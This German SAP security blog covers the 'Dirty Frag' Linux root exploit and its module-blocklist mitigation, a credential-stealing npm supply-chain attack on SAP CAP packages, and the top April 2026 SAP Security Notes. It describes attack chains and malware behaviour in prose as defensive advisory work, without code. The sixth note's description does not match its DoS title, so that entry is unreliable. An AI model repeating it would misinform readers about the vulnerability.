Am 7. Mai 2026 hat Hyunwoo Kim (@v4bel), ein Security-Forscher, den Nachfolger von Copy Fail veröffentlicht: Dirty Frag (auch „Copy Fail 2“). Das Ergebnis: Ein unprivilegierter lokaler Benutzer kann auf den meisten Linux-Distributionen innerhalb einer Kommandozeile root-Privilegien erlangen.

Working PoC. Deterministisch. 99% Erfolgsrate. Kein Race Condition nötig. Kein Kernel-Panic bei Fehlschlag.

Was ist Dirty Frag?

Dirty Frag kombiniert zwei Page-Cache-Schreib-Primitiven im Linux-Kernel: eine im xfrm-ESP (IPsec) Subsystem (CVE-2026-43284) und eine im RxRPC-Subsystem (CVE-2026-43500). Beide flaws ermöglichen die Manipulation von Page-Cache-Memory, die nicht ausschließlich vom Kernel besessen wird — was zur Korruption sensibler Dateien und letztlich zu Privileg-Eskalation führt.

Der Unterschied zu Copy Fail: Dirty Frag funktioniert unabhängig davon, ob das algif_aead-Modul aktiviert ist. Das heißt: Systeme, die bereits gegen Copy Fail gehärtet wurden, sind trotzdem anfällig.

Warum funktioniert es überall?

Die genial-bösartige Architektur: Die beiden Exploits decken gegenseitig die Blindstellen ab.

Das ESP-Exploit benötigt die Berechtigung zum Erstellen von User-Namespaces. Ubuntu blockiert das standardmäßig mit AppArmor.
Das RxRPC-Exploit benötigt keine Namespace-Berechtigungen — aber das rxrpc.ko-Modul ist auf den meisten Distributionen nicht vorinstalliert. Ubuntu lädt es standardmäßig.

Chain die beiden zusammen, und fast jede Distribution hat mindestens einen Pfad offen.

Wer ist betroffen?

Bestätigt betroffen: Ubuntu 24.04.4, RHEL 8/9/10, openSUSE Tumbleweed, CentOS Stream 10, AlmaLinux 8/9/10, Fedora 44, SUSE Virtualization (alle Versionen), OpenShift 4.

Die betroffene Code-Logik im ESP-Subsystem existiert seit Januar 2017. RxRPC seit Juni 2023. Das bedeutet: Die meisten produktiven Linux-Server sind prinzipiell verwundbar.

Was bedeutet das für SAP-Systeme?

RHEL und SUSE Linux Enterprise sind die beiden primären Betriebssysteme für SAP-Produktivumgebungen. SAP HANA, S/4HANA, NetWeaver — alles läuft auf Linux. Und auf diesen Servern gibt es regelmäßig mehrere lokale Benutzer: SAP-Service-Accounts, Monitoring-Tools, Backup-Agenten, CI/CD-Pipelines für ABAP-Transporte.

Jeder dieser lokalen Benutzer kann Dirty Frag ausführen und sich zu root hocharbeiten.

Die Angriffssequenz ist denkbar einfach:

Angreifer erlangt lokalen Zugang (SSH-Credential-Phishing, kompromittierter Service-Account, Schwachstelle in einer Web-App wie GLPI)
Dirty Frag PoC wird ausgeführt — ein Command, öffentlich verfügbar
Root-Zugriff auf den SAP-Server
Ab hier: SAP-Systemdateien manipulieren, Berechtigungen ändern, Backdoors einbauen, Daten exfiltrieren

Microsoft hat bereits limitierte In-the-Wild-Aktivitäten beobachtet: Angreifer erlangen SSH-Zugriff, laden ein ELF-Binary namens ./update hoch, und eskalieren sofort mit su — ein Muster, das auf Dirty Frag hindeutet. Nach der Eskalation manipulieren sie LDAP-Authentifizierungsdateien, inspizieren PHP-Session-Dateien, und löschen Spuren.

Patches?

Der xfrm-ESP-Bug (CVE-2026-43284) wurde im Linux-Kernel mainline gepatcht (Commit f4c50a4034e6). Für das RxRPC-Problem (CVE-2026-43500) gibt es bisher keinen Patch.

Red Hat klassifiziert die Vulnerabilität als „Important“ (nicht Critical) und arbeitet an beschleunigten Fixes für RHEL 8/9/10 sowie OpenShift 4. SUSE hat bestätigt, dass alle SUSE-Virtualization-Versionen betroffen sind, und arbeitet an Kernel-Updates.

Ein komplettes Version-Matrix ist noch nicht verfügbar.

Was kann sofort gemacht werden?

Bis Patches verfügbar sind, empfehlen alle Distributionen, die betroffenen Kernel-Module zu blocklisten:

printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf
rmmod esp4 esp6 rxrpc 2>/dev/null; true

Aber: Das Blocklisten von esp4/esp6 bricht IPsec-Funktionalität. Und rxrpc bricht AFS-Client-Konnektivität. Wer IPsec für SAP-Site-to-Site-VPNs oder verschlüsselte Systemlandschaften nutzt, muss die Auswirkung evaluieren.

Alternative für RHEL: Unprivilegierte User-Namespaces deaktivieren (user.max_user_namespaces=0). Das blockt nur die ESP-Variante — RxRPC bleibt offen. Und rootless Container, Flatpak, und sandboxed Browser funktionieren nicht mehr.

Warum das relevant ist

Dirty Frag gehört zu einer Bug-Klasse, die mit Dirty Pipe (2022) begann: deterministische Logik-Bugs im Kernel, die keine Timing-Fenster brauchen, keine Race Conditions, und keine komplexe Exploit-Infrastruktur. Ein Local-User mit Shell-Zugriff reicht.

Für SAP-Systeme auf RHEL oder SUSE bedeutet das: Jeder kompromittierte Service-Account ist ein Root-Account. Jedes phishige SSH-Passwort ist ein System-Kompromittierung. Und das nicht theoretisch — der PoC ist öffentlich, die Attack Pattern sind dokumentiert, und erste In-the-Wild-Fälle sind bestätigt.

Das ist kein „wir prüfen das beim nächsten Patch-Day“-Problem. Es ist ein „welche SAP-Server haben heute noch die Module geladen“-Problem.

8. Mai 2026

Deep-Dive: Wie Angreifer vier offizielle SAP-npm-Pakete infiziert haben

Am 29. April 2026 hat eine unbekannte Angriffsgruppe vier npm-Pakete kompromittiert, die offiziell zum SAP-Ökosystem gehören. Die infizierten Versionen waren zwischen zwei und vier Stunden lang auf npm verfügbar. Wer in diesem Zeitfenster npm install ausgeführt hat, hat Schadsoftware auf seinem System.

Was infiziert wurde

Die betroffenen Pakete sind zentrale Bausteine des SAP Cloud Application Programming Model (CAP) — dem Standardframework für custom Development auf SAP BTP, S/4HANA Side-by-Side Extensions und Fiori-Backends:

mbt@1.2.48 (MTA Build Tool)
@cap-js/db-service@2.10.1
@cap-js/postgres@2.2.2
@cap-js/sqlite@2.2.2

Das Besondere: Der eigentliche Paketcode ist sauber. Die normalen Dateien der infizierten Versionen stimmen Byte-für-Byte mit den vorherigen, sauberen Versionen überein. Die Kompromittierung versteckt sich in zwei hinzugefügten Dateien: setup.mjs und execution.js, sowie einem preinstall-Hook in der package.json.

Das bedeutet: Die Malware wird automatisch ausgeführt, wenn jemand npm install ausführt — noch bevor die Installation abgeschlossen ist.

Wer dahintersteckt

Die Malware bezeichnet sich selbst als „Mini Shai-Hulud“ — eine Anspielung auf den sandwüstenbasierenden Wurm aus Dune. Sie ist Teil einer größeren Kampagne, die seit Ende 2025 npm-Pakete unterschiedlicher Anbieter infiziert. Die aktuellen Angriffsmuster gleichen denen der „TeamPCP“-Gruppe, die bereits mehrere supply chain Angriffe auf CI/CD-Infrastrukturen durchgeführt hat.

SAP hat am 30. April die Security Note 3747787 veröffentlicht und saubere Versionen aller vier Pakete nachgeliefert.

Wie die Angreifer an die npm-Token gekommen sind

Der wahrscheinlichste Einstiegspunkt ist ein CircleCI-PR-Build des SAP-Repositories cloud-mta-build-tool. Am 29. April wurde ein kurzlebiges Draft-PR mit dem Titel „feat: ci speedup“ geöffnet — und innerhalb weniger Minuten wieder geschlossen. Der Branch wurde später force-pushed, sodass der GitHub-Diff leer ist.

CircleCI hat aber die Build-Logs behalten. Der PR-Build zeigte, dass während des Build-Prozesses Secrets verfügbar waren — darunter CLOUD_MTA_BOT_NPM_TOKEN, CLOUD_MTA_BOT_GITHUB_TOKEN, OIDC-Tokens, Docker Hub-Zugänge und Cloud Foundry-Credentials. In den Logs tauchen auch Octokit-Warnungen für POST https://api.github.com/user/repos auf. Das entspricht genau dem GitHub-Exfiltrationsverhalten der Malware.

Der Schluss: Jemand hat einen PR gegen das SAP-Repository erstellt, in dem der CircleCI-Build mit den echten Release-Tokens lief. Die Malware im PR-Code hat die Tokens extrahiert und mit dem NPM-Token die infizierten Pakete unter dem offiziellen SAP-Account auf npm veröffentlicht.

Was die Malware macht

Die erste Stage, setup.mjs, lädt die Bun-JavaScript-Runtime (Version 1.3.13) von GitHub herunter und führt damit execution.js aus. Warum Bun? Es umgeht Monitoring-Tools, die auf Node.js-Prozesse überwachen.

execution.js ist ein 11,7 MB großer, verschleierter Credential Stealer und Propagationsframework. Er sammelt:

GitHub-Tokens (inklusive gh auth token)
npm-Tokens aus .npmrc
AWS STS-Identitäten, Secrets Manager, SSM-Parameter
Azure Key Vault-Zugänge und Secret-Werte
GCP Secret Manager
Kubernetes Service Account Tokens
GitHub Actions Secrets (dafür wird der Runner.Worker-Prozess im Speicher gelesen und maskierte Secrets extrahiert)
Claude-Config, VPN-Configs, Signal-Config, sogar Electrum-Wallets

Die Daten werden mit AES-256-GCM verschlüsselt, der Schlüssel mit einem eingebetteten RSA-4096-Public-Key verpackt, und über öffentliche GitHub-Repositories exfiltriert — erstellt unter dem Konto des Opfers. Die Repos haben zufällige Dune-bezogene Namen und die Beschreibung: „A Mini Shai-Hulud has Appeared“.

Aktuell sind über 1.100 derartige Repos identifizierbar.

Was das für SAP-Kunden bedeutet

CAP ist das de-facto Framework für fast alles Custom auf SAP BTP. Side-by-Side Extensions, Fiori-Backends, Integration-Flows, MTAs — all das nutzt @cap-js/*-Pakete, häufig mit lockeren Version-Ranges und vielen transitive Dependencies.

Das direkte Risiko besteht, wenn Entwickler oder CI/CD-Pipelines am 29. April zwischen 09:55 und 15:40 UTC eines der vier Pakete mit der infizierten Version installiert haben. Die Folge: Das System ist kompromittiert, die Tokens sind weg, und die Malware hat versucht, sich auf alle Repositories zu verbreiten, auf die der Token Zugriff hatte.

Wie man prüft, ob man betroffen ist

Die betroffenen Versionsnummern sind bekannt. Ein Scan der package-lock.json-Dateien auf die vier konkreten Versionen reicht als erster Check. Zusätzlich sollten GitHub-Konten der Entwickler auf unbefugte öffentliche Repositories überprüft werden.

SAP hat die Security Note 3747787 veröffentlicht. Die sauberen Paketversionen überschreiben die infizierten.

Warum das relevant ist

Dieser Angriff zeigt ein Muster, das über SAP hinausgeht: Supply-Chain-Kompromittierungen über CI/CD-Tokens werden zur Norm. Der Unterschied zu klassischen SAP-Security-Themen wie Berechtigungen oder Patches ist, dass dieses Risiko nicht im SAP-System selbst liegt. Es liegt in der Entwicklungsumgebung, im Build-Prozess, im npm-Token.

Keine SIEM-Korrelationsregel wird einen kompromittierten preinstall-Hook erkennen. Kein SAP-Basis-Admin wird einen npm-Token prüfen. Und niemand hat daran gedacht, dass ein PR-Build mit echten Release-Tokens laufen könnte.

Das ist kein SAP-Problem. Es ist ein Software-Supply-Chain-Problem. Aber weil die infizierten Pakete offiziell zum SAP-Ökosystem gehören, trifft es SAP-Kunden direkt.

14. April 202612. Mai 2026

Aktuelle Patches

Top 10 der SAP Security Notes für April 2026.

1. Score 9.9 (Hot News)

Nummer: 3719353

[CVE-2026-27681] SQL-Injection-Schwachstelle in SAP Business Planning and Consolidation und SAP Business Warehouse

Ein authentifizierter Benutzer kann infolge mangelhafter Berechtigungsprüfungen in SAP Business Planning and Consolidation sowie SAP Business Warehouse Datenbankdaten mittels gezielter SQL-Anweisungen lesen, bearbeiten oder löschen. Die Auswirkungen auf die Vertraulichkeit, Integrität und Verfügbarkeit des Systems sind dabei erheblich.

2. Score 7.1 (High priority)

Nummer: 3731908

[CVE-2026-34256] Fehlende Berechtigungsprüfung in SAP ERP und SAP S/4HANA (Private Cloud und On-Premise)

In SAP ERP sowie SAP S/4HANA (Private Cloud und On-Premise) ermöglicht eine fehlende Berechtigungsprüfung authentifizierten Angreifern, durch Ausführen eines bestimmten ABAP-Reports beliebige achtstellige ausführbare ABAP-Reports unbefugt zu überschreiben. Falls der betroffene Report danach aufgerufen wird, steht dessen eigentliche Funktion eventuell nicht mehr zur Verfügung. Eine erfolgreiche Ausnutzung beeinträchtigt die Verfügbarkeit sowie die Integrität des spezifischen Reports, wohingegen die Vertraulichkeit unberührt bleibt.

3. Score 6.5 (Medium Priority)

Nummer: 3680767

[CVE-2026-34264] Schwachstelle mit Blick auf Offenlegung von Informationen in SAP Human Capital Management für SAP S/4HANA

Bestimmte Rückmeldungen des Systems bei Berechtigungsprüfungen in SAP Human Capital Management für SAP S/4HANA erlauben es authentifizierten Benutzern mit geringen Privilegien, Inhalte außerhalb ihres Befugnisbereichs zu erraten und aufzulisten. Infolgedessen werden sensible Daten offengelegt, was die Vertraulichkeit stark beeinträchtigt, während Integrität und Verfügbarkeit unberührt bleiben.

4. Score 6.5 (Medium Priority)

Nummer: 3715177

[CVE-2026-27678] – Fehlende Berechtigungsprüfung in SAP-S/4HANA-Backend-OData-Service („Referenzstrukturen verwalten“)

Untergeordnete Entitäten lassen sich über exponierte OData-Services ohne entsprechende Befugnis aktualisieren oder löschen, weil im SAP-S/4HANA-Backend-OData-Service („Referenzstrukturen verwalten“) Berechtigungsprüfungen fehlen. Diese Schwachstelle beeinträchtigt die Integrität massiv, hat jedoch keinen Einfluss auf die Vertraulichkeit und Verfügbarkeit.

5. Score 6.5 (Medium Priority)

Nummer: 3715097

[CVE-2026-27677] – Fehlende Berechtigungsprüfung in SAP-S/4HANA-OData-Service („Referenzequipment pflegen“)

Einem Angreifer ist es möglich, untergeordnete Entitäten ohne die nötige Befugnis über OData-Services zu aktualisieren oder zu löschen, da im SAP-S/4HANA-OData-Service („Referenzequipment pflegen“) entsprechende Prüfungen fehlen. Die Integrität wird durch diese Schwachstelle erheblich beeinträchtigt, während keine Auswirkungen auf die Vertraulichkeit und Verfügbarkeit bestehen.

6. Score 6.5 (Medium Priority)

Nummer: 3696239

[CVE-2025-64775] Denial-of-Service-Schwachstelle in SAP-BusinessObjects-Business-Intelligence-Plattform

In dem SAP-S/4HANA-OData-Service („Referenzequipment pflegen“) lassen sich untergeordnete Entitäten unbefugt über OData-Services aktualisieren und löschen, da keine Berechtigungsprüfungen stattfinden. Dies beeinträchtigt die Integrität in hohem Maße, wirkt sich jedoch nicht auf die Vertraulichkeit oder Verfügbarkeit aus.

7. Score 6.5 (Medium Priority)

Nummer: 3705094

[CVE-2026-34261] Fehlende Berechtigungsprüfung in SAP Business Analytics und SAP Content Management

Unbefugte Aufrufe bestimmter Remote-Funktionsbausteine sind für authentifizierte Benutzer in SAP Business Analytics und SAP Content Management möglich, da keine ausreichenden Berechtigungsprüfungen stattfinden. Dies kann den Zugriff auf sensible Informationen über die zugewiesenen Rechte hinaus ermöglichen. Die Integrität und Verfügbarkeit bleiben gewahrt, während die Vertraulichkeit beeinträchtigt wird.

8. Score 6.5 (Medium Priority)

Nummer: 3716767

[CVE-2026-27679] Fehlende Berechtigungsprüfung in SAP-S/4HANA-Frontend-OData-Service („Referenzstrukturen verwalten“)

Über den SAP-S/4HANA-Frontend-OData-Service („Referenzstrukturen verwalten“) können Angreifer mangels Berechtigungsprüfungen untergeordnete Entitäten unbefugt aktualisieren oder löschen. Während die Integrität hierdurch stark beeinträchtigt wird, bleiben Vertraulichkeit und Verfügbarkeit unberührt.

9. Score 6.1 (Medium Priority)

Nummer: 3692004

[CVE-2026-34257] Open-Redirect-Schwachstelle in SAP NetWeaver Application Server ABAP

Nicht authentifizierte Angreifer können infolge einer Open-Redirect-Schwachstelle in SAP NetWeaver Application Server ABAP schädliche URLs erzeugen, die Opfer bei Zugriff auf eine vom Angreifer kontrollierte Seite umleiten. Während die Verfügbarkeit der Anwendung unberührt bleibt, werden Vertraulichkeit und Integrität in geringem Maße beeinträchtigt.

10. Score 6.1 (Medium Priority)

Nummer: 3719397

[CVE-2026-27674] Code-Injection-Schwachstelle in SAP NetWeaver Application Server Java (Web Dynpro Java)

Ein nicht authentifizierter Angreifer kann durch eine Code-Injection-Schwachstelle in SAP NetWeaver Application Server Java (Web Dynpro Java) manipulierte Eingaben bereitstellen, die die Anwendung auf externe Inhalte verweisen lassen. Sobald ein Opfer die betroffene Funktion nutzt, wird dieser kontrollierte Inhalt im Browser ausgeführt, was die Sitzung gefährden und die Ausführung beliebigen clientseitigen Codes ermöglichen kann. Während die Vertraulichkeit und Integrität dadurch beeinträchtigt werden, bleibt die Verfügbarkeit gewahrt.

>> Weitere Security Notes https://me.sap.com/securitynotes

Das regelmäßige Einspielen von Security-Patches ist aus drei Gründen unverzichtbar:

Schutz vor Totalausfall & Sabotage: Wie die aktuellen Meldungen zu Denial-of-Service (DoS) zeigen, können Angreifer Systeme gezielt lahmlegen. Ohne Patches riskieren Unternehmen kostspielige Stillstände der gesamten Produktion oder des Vertriebs.
Prävention von Datendiebstahl: Schwachstellen wie SQL-Injections oder XML-Manipulationen sind offene Türen für Industriespionage. Einmal im System, können Angreifer unbemerkt sensible Geschäftsgeheimnisse oder Kundendaten absaugen.
Compliance & Haftung: Gesetzliche Anforderungen (wie die DSGVO) und interne Audits fordern ein angemessenes Sicherheitsniveau. Wer bekannte Lücken offen lässt, handelt grob fahrlässig und riskiert nicht nur Bußgelder, sondern auch einen massiven Reputationsverlust.